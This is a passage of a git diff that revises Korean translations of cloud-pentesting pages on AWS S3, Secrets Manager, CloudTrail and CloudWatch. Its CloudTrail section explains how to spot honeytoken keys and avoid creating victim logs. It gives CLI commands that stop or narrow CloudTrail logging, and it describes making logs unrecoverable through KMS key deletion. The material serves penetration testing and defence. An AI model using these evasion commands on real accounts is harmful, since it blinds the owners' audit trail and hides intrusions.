생성되고 사용되는 키입니다. +**DEK는 데이터 암호화 키를 의미**하며, 데이터 암호화에 항상 생성되고 사용되는 키입니다.
@@ -70,13 +70,13 @@ ExpiresIn=3600 이 방법은 S3가 키 관리 서비스를 사용하여 데이터 암호화 키를 생성할 수 있게 합니다. KMS는 키 관리에 대한 훨씬 더 큰 유연성을 제공합니다. 예를 들어, CMK에 대해 비활성화, 회전 및 접근 제어를 적용할 수 있으며, AWS Cloud Trail을 사용하여 사용에 대한 주문을 할 수 있습니다. - 암호화: -- S3는 KMS CMK에서 데이터 키를 요청합니다 -- KMS는 CMK를 사용하여 평문 DEK와 암호화된 DEK 쌍을 생성하고 이를 S3에 전송합니다 -- S3는 평문 키를 사용하여 데이터를 암호화하고, 암호화된 데이터와 암호화된 키를 저장하며 평문 키는 메모리에서 삭제합니다 +- S3는 KMS CMK로부터 데이터 키를 요청합니다. +- KMS는 CMK를 사용하여 평문 DEK와 암호화된 DEK 쌍을 생성하고 이를 S3에 전송합니다. +- S3는 평문 키를 사용하여 데이터를 암호화하고, 암호화된 데이터와 암호화된 키를 저장하며 평문 키는 메모리에서 삭제합니다. - 복호화: -- S3는 KMS에 객체의 암호화된 데이터 키를 복호화해 달라고 요청합니다 -- KMS는 CMK로 데이터 키를 복호화하고 이를 S3에 다시 전송합니다 -- S3는 객체 데이터를 복호화합니다 +- S3는 KMS에 객체의 암호화된 데이터 키를 복호화해 달라고 요청합니다. +- KMS는 CMK로 데이터 키를 복호화하고 이를 S3에 다시 전송합니다. +- S3는 객체 데이터를 복호화합니다.
@@ -87,14 +87,14 @@ ExpiresIn=3600 이 옵션은 AWS 외부에서 이미 사용하고 있을 수 있는 자신의 마스터 키를 제공할 수 있는 기회를 제공합니다. 고객이 제공한 키는 데이터와 함께 S3로 전송되며, S3는 이를 암호화합니다. - 암호화: -- 사용자가 객체 데이터 + 고객 키를 S3에 전송합니다 -- 고객 키는 데이터를 암호화하는 데 사용되며 암호화된 데이터가 저장됩니다 -- 고객 키의 소금이 추가된 HMAC 값도 미래의 키 검증을 위해 저장됩니다 -- 고객 키는 메모리에서 삭제됩니다 +- 사용자가 객체 데이터 + 고객 키를 S3에 전송합니다. +- 고객 키는 데이터를 암호화하는 데 사용되며 암호화된 데이터가 저장됩니다. +- 고객 키의 소금이 추가된 HMAC 값도 향후 키 검증을 위해 저장됩니다. +- 고객 키는 메모리에서 삭제됩니다. - 복호화: -- 사용자가 고객 키를 전송합니다 -- 키는 저장된 HMAC 값에 대해 검증됩니다 -- 고객 제공 키가 데이터를 복호화하는 데 사용됩니다 +- 사용자가 고객 키를 전송합니다. +- 키는 저장된 HMAC 값에 대해 검증됩니다. +- 고객 제공 키가 데이터를 복호화하는 데 사용됩니다.
@@ -105,14 +105,14 @@ ExpiresIn=3600 SSE-KMS와 유사하게, 이 방법도 키 관리 서비스를 사용하여 데이터 암호화 키를 생성합니다. 그러나 이번에는 S3가 아닌 클라이언트를 통해 KMS가 호출됩니다. 암호화는 클라이언트 측에서 이루어지며, 암호화된 데이터는 S3에 저장됩니다. - 암호화: -- 클라이언트가 KMS에 데이터 키를 요청합니다 -- KMS는 평문 DEK와 CMK로 암호화된 DEK를 반환합니다 -- 두 키가 다시 전송됩니다 -- 클라이언트는 평문 DEK로 데이터를 암호화하고 암호화된 데이터 + 암호화된 DEK를 S3에 전송합니다 (암호화된 데이터의 메타데이터로 저장됨) +- 클라이언트가 KMS에 데이터 키를 요청합니다. +- KMS는 평문 DEK와 CMK로 암호화된 DEK를 반환합니다. +- 두 키가 다시 전송됩니다. +- 클라이언트는 평문 DEK로 데이터를 암호화하고 암호화된 데이터 + 암호화된 DEK를 S3에 전송합니다 (이는 S3 내 암호화된 데이터의 메타데이터로 저장됨). - 복호화: -- 암호화된 데이터와 암호화된 DEK가 클라이언트에 전송됩니다 -- 클라이언트는 CMK를 사용하여 암호화된 키를 복호화해 달라고 KMS에 요청하고 KMS는 평문 DEK를 다시 전송합니다 -- 클라이언트는 이제 암호화된 데이터를 복호화할 수 있습니다 +- 암호화된 데이터와 암호화된 DEK가 클라이언트에 전송됩니다. +- 클라이언트는 CMK를 사용하여 암호화된 키를 복호화해 달라고 KMS에 요청하고, KMS는 평문 DEK를 다시 전송합니다. +- 클라이언트는 이제 암호화된 데이터를 복호화할 수 있습니다.
@@ -123,12 +123,12 @@ SSE-KMS와 유사하게, 이 방법도 키 관리 서비스를 사용하여 데 이 메커니즘을 사용하면 제공된 키를 활용하고 AWS-SDK 클라이언트를 사용하여 데이터를 S3에 전송하기 전에 암호화할 수 있습니다. - 암호화: -- 클라이언트가 DEK를 생성하고 평문 데이터를 암호화합니다 -- 그런 다음, 자신의 사용자 정의 CMK를 사용하여 DEK를 암호화합니다 -- 암호화된 데이터 + 암호화된 DEK를 S3에 제출하여 저장합니다 +- 클라이언트가 DEK를 생성하고 평문 데이터를 암호화합니다. +- 그런 다음, 자신의 사용자 정의 CMK를 사용하여 DEK를 암호화합니다. +- 암호화된 데이터 + 암호화된 DEK를 S3에 제출하여 저장합니다. - 복호화: -- S3가 암호화된 데이터와 DEK를 전송합니다 -- 클라이언트는 DEK를 암호화하는 데 사용된 CMK를 이미 가지고 있으므로 DEK를 복호화하고 평문 DEK를 사용하여 데이터를 복호화합니다 +- S3가 암호화된 데이터와 DEK를 전송합니다. +- 클라이언트는 DEK를 암호화하는 데 사용된 CMK를 이미 가지고 있으므로 DEK를 복호화하고 평문 DEK를 사용하여 데이터를 복호화합니다.
@@ -229,16 +229,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -S3 버킷에 접근하려면 가상 호스팅 스타일 또는 경로 스타일 엔드포인트 이름을 사용하여 이중 스택 엔드포인트를 통해 접근할 수 있습니다. 이는 IPv6를 통해 S3에 접근하는 데 유용합니다. +S3 버킷에 접근하려면 가상 호스팅 스타일 또는 경로 스타일 엔드포인트 이름을 사용하여 dual-stack 엔드포인트를 통해 접근할 수 있습니다. 이는 IPv6를 통해 S3에 접근하는 데 유용합니다. -이중 스택 엔드포인트는 다음 구문을 사용합니다: +Dual-stack 엔드포인트는 다음 구문을 사용합니다: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -다음 페이지에서 **S3 권한을 악용하여 권한을 상승시키는 방법**을 확인할 수 있습니다: +다음 페이지에서 **S3 권한을 악용하여 권한 상승하는 방법**을 확인할 수 있습니다: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -276,7 +276,7 @@ Amazon Athena는 Amazon Simple Storage Service(Amazon **S3**)에서 **데이터 Amazon Athena는 **이미 암호화된 S3 데이터를 쿼리할 수 있는 기능을 지원**하며, 그렇게 구성된 경우 **Athena는 쿼리 결과를 암호화할 수 있으며, 이는 S3에 저장될 수 있습니다**. -**이 결과의 암호화는 기본적으로 쿼리된 S3 데이터와 독립적**이며, S3 데이터가 암호화되지 않은 경우에도 쿼리된 결과는 암호화될 수 있습니다. 알아야 할 몇 가지 사항은 Amazon Athena가 **다음 S3 암호화 방법**인 **SSE-S3, SSE-KMS, CSE-KMS**로 **암호화된 데이터**만 지원한다는 것입니다. +**결과의 이 암호화는 기본 쿼리된 S3 데이터와 독립적**이며, S3 데이터가 암호화되지 않은 경우에도 쿼리된 결과는 암호화될 수 있습니다. 알아야 할 몇 가지 사항은 Amazon Athena가 **다음 S3 암호화 방법**인 **SSE-S3, SSE-KMS, 및 CSE-KMS**로 **암호화된** 데이터만 지원한다는 것입니다. SSE-C 및 CSE-E는 지원되지 않습니다. 이 외에도 Amazon Athena는 **쿼리 자체와 동일한 지역에 있는 암호화된 객체에 대해서만 쿼리를 실행**한다는 점을 이해하는 것이 중요합니다. KMS를 사용하여 암호화된 S3 데이터를 쿼리해야 하는 경우, Athena 사용자가 쿼리를 수행할 수 있도록 특정 권한이 필요합니다. @@ -302,7 +302,7 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` -## References +## 참고 문헌 - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 1e304344e..4f6418e3b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,17 +4,17 @@ ## AWS Secrets Manager -AWS Secrets Manager는 **애플리케이션에서 하드코딩된 비밀을 API 호출로 대체하여 사용을 없애기 위해 설계되었습니다**. 이 서비스는 **모든 비밀을 위한 중앙 집중식 저장소** 역할을 하여 모든 애플리케이션에서 균일하게 관리되도록 보장합니다. +AWS Secrets Manager는 **애플리케이션에서 하드코딩된 비밀을 API 호출로 대체하여 사용을 제거하도록 설계되었습니다**. 이 서비스는 **모든 비밀을 위한 중앙 집중식 저장소** 역할을 하여 모든 애플리케이션에서 균일하게 관리되도록 보장합니다. -이 관리자는 **비밀 회전 프로세스**를 단순화하여 데이터베이스 자격 증명과 같은 민감한 데이터의 보안 태세를 크게 개선합니다. 또한, API 키와 같은 비밀은 람다 함수 통합을 통해 자동으로 회전될 수 있습니다. +이 관리자는 **비밀 회전 프로세스를 단순화**하여 데이터베이스 자격 증명과 같은 민감한 데이터의 보안 태세를 크게 개선합니다. 또한, API 키와 같은 비밀은 람다 함수 통합을 통해 자동으로 회전될 수 있습니다. 비밀에 대한 접근은 상세한 IAM 신원 기반 정책 및 리소스 기반 정책을 통해 엄격하게 제어됩니다. -다른 AWS 계정의 사용자에게 비밀에 대한 접근을 허용하려면 다음이 필요합니다: +다른 AWS 계정의 사용자에게 비밀에 대한 접근을 부여하려면 다음이 필요합니다: -1. 사용자가 비밀에 접근할 수 있도록 승인합니다. -2. 사용자가 KMS를 사용하여 비밀을 해독할 수 있도록 권한을 부여합니다. -3. 외부 사용자가 이를 사용할 수 있도록 키 정책을 수정합니다. +1. 사용자가 비밀에 접근할 수 있도록 권한 부여. +2. KMS를 사용하여 비밀을 해독할 수 있도록 사용자에게 권한 부여. +3. 외부 사용자가 이를 사용할 수 있도록 키 정책 수정. **AWS Secrets Manager는 AWS KMS와 통합되어 AWS Secrets Manager 내에서 비밀을 암호화합니다.** @@ -27,19 +27,19 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` -### Privesc +### 권한 상승 {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### 포스트 익스플로잇 {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### 지속성 {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index a9869685d..019c9cd74 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -6,23 +6,23 @@ AWS CloudTrail **는 AWS 환경 내의 활동을 기록하고 모니터링합니다**. 이는 AWS 리소스와의 모든 상호작용에 대해 누가 무엇을, 언제, 어디서 했는지를 포함한 상세한 **이벤트 로그**를 캡처합니다. 이는 변경 사항 및 작업의 감사 추적을 제공하여 보안 분석, 규정 준수 감사 및 리소스 변경 추적에 도움을 줍니다. CloudTrail은 사용자 및 리소스 행동을 이해하고, 보안 태세를 강화하며, 규제 준수를 보장하는 데 필수적입니다. -각 로그된 이벤트에는 다음이 포함됩니다: +각 기록된 이벤트에는 다음이 포함됩니다: - 호출된 API의 이름: `eventName` - 호출된 서비스: `eventSource` - 시간: `eventTime` - IP 주소: `SourceIPAddress` - 에이전트 방법: `userAgent`. 예: -- Signing.amazonaws.com - AWS 관리 콘솔에서 -- console.amazonaws.com - 계정의 루트 사용자 -- lambda.amazonaws.com - AWS Lambda + - Signing.amazonaws.com - AWS Management Console에서 + - console.amazonaws.com - 계정의 루트 사용자 + - lambda.amazonaws.com - AWS Lambda - 요청 매개변수: `requestParameters` - 응답 요소: `responseElements` -이벤트는 **약 5분마다 JSON 파일로 새로운 로그 파일에 기록되며**, CloudTrail에 의해 보관되고 마지막으로 로그 파일은 **약 15분 후 S3로 전달됩니다**.\ +이벤트는 **약 5분마다 JSON 파일로 새로운 로그 파일에 기록되며**, CloudTrail에 의해 보관되고, 마지막으로 로그 파일은 **약 15분 후 S3로 전달됩니다**.\ CloudTrail 로그는 **계정 및 지역 간에 집계될 수 있습니다.**\ CloudTrail은 **로그 파일 무결성을 사용하여 로그 파일이 CloudTrail이 전달한 이후 변경되지 않았음을 확인할 수 있도록 합니다**. 이는 로그의 SHA-256 해시를 다이제스트 파일에 생성합니다. 새로운 로그의 sha-256 해시는 매시간 생성됩니다.\ -Trail을 생성할 때 이벤트 선택기를 사용하여 기록할 Trail을 지정할 수 있습니다: 관리, 데이터 또는 인사이트 이벤트. +Trail을 생성할 때 이벤트 선택기를 사용하여 기록할 Trail을 관리, 데이터 또는 인사이트 이벤트로 지정할 수 있습니다. 로그는 S3 버킷에 저장됩니다. 기본적으로 서버 측 암호화(SSE-S3)가 사용되므로 AWS는 접근 권한이 있는 사람들을 위해 콘텐츠를 복호화하지만, 추가 보안을 위해 KMS와 자신의 키를 사용하여 SSE를 사용할 수 있습니다. @@ -38,20 +38,20 @@ Trail을 생성할 때 이벤트 선택기를 사용하여 기록할 Trail을 ![](<../../../../images/image (122).png>) -또한, **파일 무결성을 확인하기 위한 다이제스트 파일**은 **같은 버킷**에 있습니다: +또한, **파일 무결성을 확인하기 위한 다이제스트 파일**은 **같은 버킷** 내에 있습니다: ![](<../../../../images/image (195).png>) ### 여러 계정의 로그 집계 - 로그 파일이 전달될 AWS 계정에서 Trail을 생성합니다. -- CloudTrail에 대한 교차 계정 접근을 허용하는 권한을 대상 S3 버킷에 적용하고 접근이 필요한 각 AWS 계정을 허용합니다. -- 다른 AWS 계정에서 새 Trail을 생성하고 1단계에서 생성된 버킷을 사용하도록 선택합니다. +- CloudTrail에 대한 교차 계정 접근을 허용하는 권한을 대상 S3 버킷에 적용하고, 접근이 필요한 각 AWS 계정을 허용합니다. +- 다른 AWS 계정에서 새로운 Trail을 생성하고 1단계에서 생성된 버킷을 사용하도록 선택합니다. 그러나 모든 로그를 동일한 S3 버킷에 저장할 수 있지만, 여러 계정의 CloudTrail 로그를 단일 AWS 계정에 속하는 CloudWatch Logs로 집계할 수는 없습니다. > [!CAUTION] -> 계정은 **다른 Trails**를 CloudTrail **에서 활성화**하여 동일한(또는 다른) 로그를 다른 버킷에 저장할 수 있다는 점을 기억하세요. +> 계정은 **다른 Trails**를 CloudTrail **에서 활성화하여** 동일한(또는 다른) 로그를 서로 다른 버킷에 저장할 수 있다는 점을 기억하세요. ### 모든 조직 계정의 CloudTrail을 1로 @@ -63,13 +63,13 @@ CloudTrail을 생성할 때, 조직의 모든 계정에 대해 CloudTrail을 활 ### 로그 파일 확인 -로그가 변경되지 않았는지 확인할 수 있습니다. +로그가 변경되지 않았는지 확인하려면 다음을 실행할 수 있습니다. ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` ### Logs to CloudWatch -**CloudTrail은 로그를 CloudWatch로 자동으로 전송할 수 있으므로 의심스러운 활동이 수행될 때 경고하는 알림을 설정할 수 있습니다.**\ +**CloudTrail은 자동으로 로그를 CloudWatch로 전송할 수 있으므로 의심스러운 활동이 수행될 때 경고하는 알림을 설정할 수 있습니다.**\ CloudTrail이 로그를 CloudWatch로 전송할 수 있도록 하려면 **역할**을 생성해야 하며, 이 역할은 해당 작업을 허용해야 합니다. 가능하다면 이러한 작업을 수행하기 위해 AWS 기본 역할을 사용하는 것이 권장됩니다. 이 역할은 CloudTrail이 다음을 수행할 수 있도록 합니다: - CreateLogStream: CloudWatch Logs 로그 스트림을 생성할 수 있습니다. @@ -77,7 +77,7 @@ CloudTrail이 로그를 CloudWatch로 전송할 수 있도록 하려면 **역할 ### Event History -CloudTrail Event History는 기록된 로그를 테이블 형식으로 검사할 수 있게 해줍니다: +CloudTrail Event History는 기록된 로그를 테이블에서 검사할 수 있게 해줍니다: ![](<../../../../images/image (89).png>) @@ -89,17 +89,17 @@ CloudTrail Event History는 기록된 로그를 테이블 형식으로 검사할 ### Security -| CloudTrail Log File Integrity |
  • 로그가 변조되었는지(수정되거나 삭제됨) 확인
  • 다이제스트 파일 사용(각 파일에 대한 해시 생성)

    • SHA-256 해싱
    • 디지털 서명을 위한 RSA와 함께 SHA-256
    • 아마존이 소유한 개인 키
  • 다이제스트 파일 생성에 1시간 소요(매 시간 정각에 수행)
| +| CloudTrail Log File Integrity |
  • 로그가 변조되었는지(수정되거나 삭제됨) 확인
  • 다이제스트 파일 사용(각 파일에 대한 해시 생성)

    • SHA-256 해싱
    • 디지털 서명을 위한 RSA와 함께 SHA-256
    • Amazon이 소유한 개인 키
  • 다이제스트 파일 생성에 1시간 소요(매 시간 정각에 수행)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • IAM 정책 및 S3 버킷 정책 사용

    • 보안 팀 —> 관리자 접근
    • 감사자 —> 읽기 전용 접근
  • SSE-S3/SSE-KMS를 사용하여 로그를 암호화
| +| Stop unauthorized access |
  • IAM 정책 및 S3 버킷 정책 사용

    • 보안 팀 —> 관리자 접근
    • 감사자 —> 읽기 전용 접근
  • 로그를 암호화하기 위해 SSE-S3/SSE-KMS 사용
| | Prevent log files from being deleted |
  • IAM 및 버킷 정책으로 삭제 접근 제한
  • S3 MFA 삭제 구성
  • 로그 파일 검증으로 확인
| ## Access Advisor -AWS Access Advisor는 마지막 400일 동안의 AWS **CloudTrail 로그를 기반으로 인사이트를 수집합니다**. CloudTrail은 AWS 계정에서 수행된 AWS API 호출 및 관련 이벤트의 기록을 캡처합니다. Access Advisor는 이 데이터를 활용하여 **서비스가 마지막으로 언제 접근되었는지** 보여줍니다. CloudTrail 로그를 분석함으로써 Access Advisor는 IAM 사용자 또는 역할이 어떤 AWS 서비스에 접근했는지와 그 접근이 언제 발생했는지를 파악할 수 있습니다. 이는 AWS 관리자가 **권한을 세분화하는** 데 있어 정보에 기반한 결정을 내리는 데 도움을 줍니다. 관리자는 오랜 기간 동안 접근되지 않은 서비스를 식별하고 실제 사용 패턴에 따라 지나치게 넓은 권한을 줄일 수 있습니다. +AWS Access Advisor는 마지막 400일 동안의 AWS **CloudTrail 로그를 기반으로 인사이트를 수집합니다**. CloudTrail은 AWS 계정에서 수행된 AWS API 호출 및 관련 이벤트의 기록을 캡처합니다. Access Advisor는 이 데이터를 활용하여 **서비스가 마지막으로 언제 접근되었는지** 보여줍니다. CloudTrail 로그를 분석함으로써 Access Advisor는 IAM 사용자 또는 역할이 어떤 AWS 서비스에 접근했는지와 그 접근이 언제 발생했는지를 파악할 수 있습니다. 이는 AWS 관리자가 **권한을 세분화하는 데 정보에 기반한 결정을 내리는 데 도움을 줍니다**, 사용되지 않은 서비스들을 식별하고 실제 사용 패턴에 따라 지나치게 넓은 권한을 줄일 수 있습니다. > [!TIP] -> 따라서 Access Advisor는 **사용자에게 부여된 불필요한 권한**에 대해 알림을 제공하여 관리자가 이를 제거할 수 있도록 합니다. +> 따라서 Access Advisor는 **사용자에게 부여된 불필요한 권한**에 대해 알리므로 관리자가 이를 제거할 수 있습니다.
@@ -150,19 +150,19 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection Honeytokens는 **민감한 정보의 유출을 탐지하기 위해** 생성됩니다. AWS의 경우, 이들은 **사용이 모니터링되는 AWS 키**입니다. 만약 그 키로 어떤 행동이 트리거되면, 누군가 그 키를 훔쳤다는 것을 의미합니다. -그러나 [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)에서 생성된 Honeytokens는 인식 가능한 계정 이름을 사용하거나 모든 고객에게 동일한 AWS 계정 ID를 사용합니다. 따라서 Cloudtrail이 로그를 생성하지 않고 계정 이름 및/또는 계정 ID를 얻을 수 있다면, **그 키가 Honeytoken인지 여부를 알 수 있습니다**. +그러나 [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)에서 생성된 Honeytokens는 인식 가능한 계정 이름을 사용하거나 모든 고객에게 동일한 AWS 계정 ID를 사용합니다. 따라서 Cloudtrail이 로그를 생성하지 않고 계정 이름 및/또는 계정 ID를 얻을 수 있다면, **그 키가 Honeytoken인지 아닌지 알 수 있습니다**. [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)에는 키가 [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**에 속하는지 감지하는 몇 가지 규칙이 있습니다:** - **`canarytokens.org`**가 역할 이름에 나타나거나 계정 ID **`534261010715`**가 오류 메시지에 나타납니다. -- 최근에 테스트한 결과, 그들은 계정 **`717712589309`**를 사용하고 여전히 이름에 **`canarytokens.com`** 문자열이 있습니다. +- 최근에 테스트한 결과, 그들은 계정 **`717712589309`**를 사용하고 있으며 여전히 이름에 **`canarytokens.com`** 문자열이 있습니다. - 오류 메시지의 역할 이름에 **`SpaceCrab`**가 나타납니다. - **SpaceSiren**은 사용자 이름을 생성하기 위해 **uuids**를 사용합니다: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - **이름이 무작위로 생성된 것처럼 보인다면**, 그것이 HoneyToken일 확률이 높습니다. #### 키 ID에서 계정 ID 가져오기 -**액세스 키** 내부에 **인코딩된** **계정 ID**를 [**여기서 설명한 대로**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) 가져올 수 있으며, Honeytokens AWS 계정 목록과 계정 ID를 확인하세요: +**액세스 키** 내에 **인코딩된** **계정 ID**를 [**여기서 설명한 대로**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) 가져올 수 있으며, Honeytokens AWS 계정 목록과 계정 ID를 확인하세요: ```python import base64 import binascii @@ -181,19 +181,19 @@ return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` -Check more information in the [**원본 연구**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +더 많은 정보는 [**원본 연구**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)에서 확인하세요. #### 로그 생성하지 않기 가장 효과적인 기술은 사실 간단합니다. 방금 찾은 키를 사용하여 자신의 공격자 계정 내의 일부 서비스에 접근하세요. 이렇게 하면 **CloudTrail이 당신의 AWS 계정 내에 로그를 생성하고 피해자의 계정에는 생성하지 않습니다**. -문제는 출력에 계정 ID와 계정 이름을 나타내는 오류가 표시되므로 **Honeytoken인지 확인할 수 있습니다**. +문제는 출력에 계정 ID와 계정 이름을 나타내는 오류가 표시되므로 **Honeytoken인지 확인할 수 있다는 것입니다**. #### 로그가 없는 AWS 서비스 -과거에는 **CloudTrail에 로그를 전송하지 않는 AWS 서비스가 있었습니다** (여기에서 [목록을 찾으세요](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). 이러한 서비스 중 일부는 **무단 접근** (Honeytoken 키)이 시도될 경우 **키 역할의 ARN**을 포함한 **오류**로 **응답**합니다. +과거에는 **CloudTrail에 로그를 전송하지 않는 AWS 서비스가 있었습니다** (여기에서 [목록을 찾으세요](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). 이러한 서비스 중 일부는 **무단 접근** (honeytoken 키)이 시도될 경우 **키 역할의 ARN**을 포함한 **오류**로 **응답**합니다. -이렇게 하면 **공격자는 로그를 트리거하지 않고 키의 ARN을 얻을 수 있습니다**. ARN에서 공격자는 **AWS 계정 ID와 이름**을 확인할 수 있으며, HoneyToken의 회사 계정 ID와 이름을 쉽게 알 수 있으므로, 이를 통해 공격자는 토큰이 HoneyToken인지 식별할 수 있습니다. +이렇게 하면 **공격자는 로그를 트리거하지 않고 키의 ARN을 얻을 수 있습니다**. ARN에서 공격자는 **AWS 계정 ID와 이름**을 확인할 수 있으며, HoneyToken의 회사 계정 ID와 이름을 쉽게 알 수 있으므로, 공격자는 토큰이 HoneyToken인지 식별할 수 있습니다. ![](<../../../../images/image (93).png>) @@ -204,9 +204,9 @@ Check more information in the [**원본 연구**](https://medium.com/@TalBeerySe ### 제3 인프라 접근 -특정 AWS 서비스는 **데이터베이스**나 **Kubernetes** 클러스터 (EKS)와 같은 **인프라를 생성**합니다. 사용자가 **이러한 서비스에 직접 이야기** (Kubernetes API와 같은) **하면 AWS API를 사용하지 않으므로**, CloudTrail은 이 통신을 볼 수 없습니다. +특정 AWS 서비스는 **데이터베이스**나 **Kubernetes** 클러스터 (EKS)와 같은 **인프라를 생성**합니다. 사용자가 **이러한 서비스** (예: Kubernetes API)와 **직접 통신**할 경우 **AWS API를 사용하지 않으므로**, CloudTrail은 이 통신을 볼 수 없습니다. -따라서 EKS에 접근할 수 있는 사용자가 EKS API의 URL을 발견하면 로컬에서 토큰을 생성하고 **CloudTrail에 감지되지 않고 API 서비스에 직접 이야기할 수 있습니다**. +따라서 EKS에 접근할 수 있는 사용자가 EKS API의 URL을 발견하면 로컬에서 토큰을 생성하고 **Cloudtrail에 감지되지 않고 API 서비스와 직접 통신할 수 있습니다**. 자세한 정보는: @@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name] ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` -#### 이벤트 선택기로 로깅 비활성화 +#### 이벤트 선택기를 통한 로깅 비활성화 ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -첫 번째 예제에서는 단일 이벤트 선택기가 단일 객체로 구성된 JSON 배열로 제공됩니다. `"ReadWriteType": "ReadOnly"`는 **이벤트 선택기가 읽기 전용 이벤트만 캡처해야 함**을 나타냅니다(예를 들어 CloudTrail 인사이트는 **쓰기** 이벤트를 확인하지 않습니다). +첫 번째 예에서는 단일 이벤트 선택기가 단일 객체로 구성된 JSON 배열로 제공됩니다. `"ReadWriteType": "ReadOnly"`는 **이벤트 선택기가 읽기 전용 이벤트만 캡처해야 함을 나타냅니다** (예를 들어 CloudTrail 인사이트는 **쓰기** 이벤트를 확인하지 않습니다). 특정 요구 사항에 따라 이벤트 선택기를 사용자 정의할 수 있습니다. @@ -249,14 +249,14 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration - S3 버킷 삭제 - CloudTrail 서비스에서의 모든 쓰기를 거부하도록 버킷 정책 변경 - 객체 삭제를 위한 S3 버킷의 수명 주기 정책 추가 -- CloudTrail 로그를 암호화하는 데 사용되는 KMS 키 비활성화 +- CloudTrail 로그를 암호화하는 데 사용되는 kms 키 비활성화 ### Cloudtrail 랜섬웨어 #### S3 랜섬웨어 비대칭 키를 **생성**하고 **CloudTrail이 해당 키로 데이터를 암호화**하게 한 다음 **개인 키를 삭제**하여 CloudTrail 내용이 복구될 수 없도록 할 수 있습니다.\ -이는 기본적으로 다음에서 설명된 **S3-KMS 랜섬웨어**입니다: +이는 기본적으로 **S3-KMS 랜섬웨어**로 설명됩니다: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 8a133b07d..bdbfef66e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,8 +4,8 @@ ## CloudWatch -**CloudWatch** **는** 로그/메트릭/이벤트 형태로 모니터링 및 운영 **데이터를 수집하여 AWS 리소스**, 애플리케이션 및 서비스에 대한 **통합된 뷰를 제공합니다**.\ -CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제한이 있습니다**.\ +**CloudWatch**는 로그/메트릭/이벤트 형태로 모니터링 및 운영 **데이터**를 수집하여 **AWS 리소스**, 애플리케이션 및 서비스에 대한 **통합된 뷰**를 제공합니다.\ +CloudWatch 로그 이벤트는 **각 로그 라인에 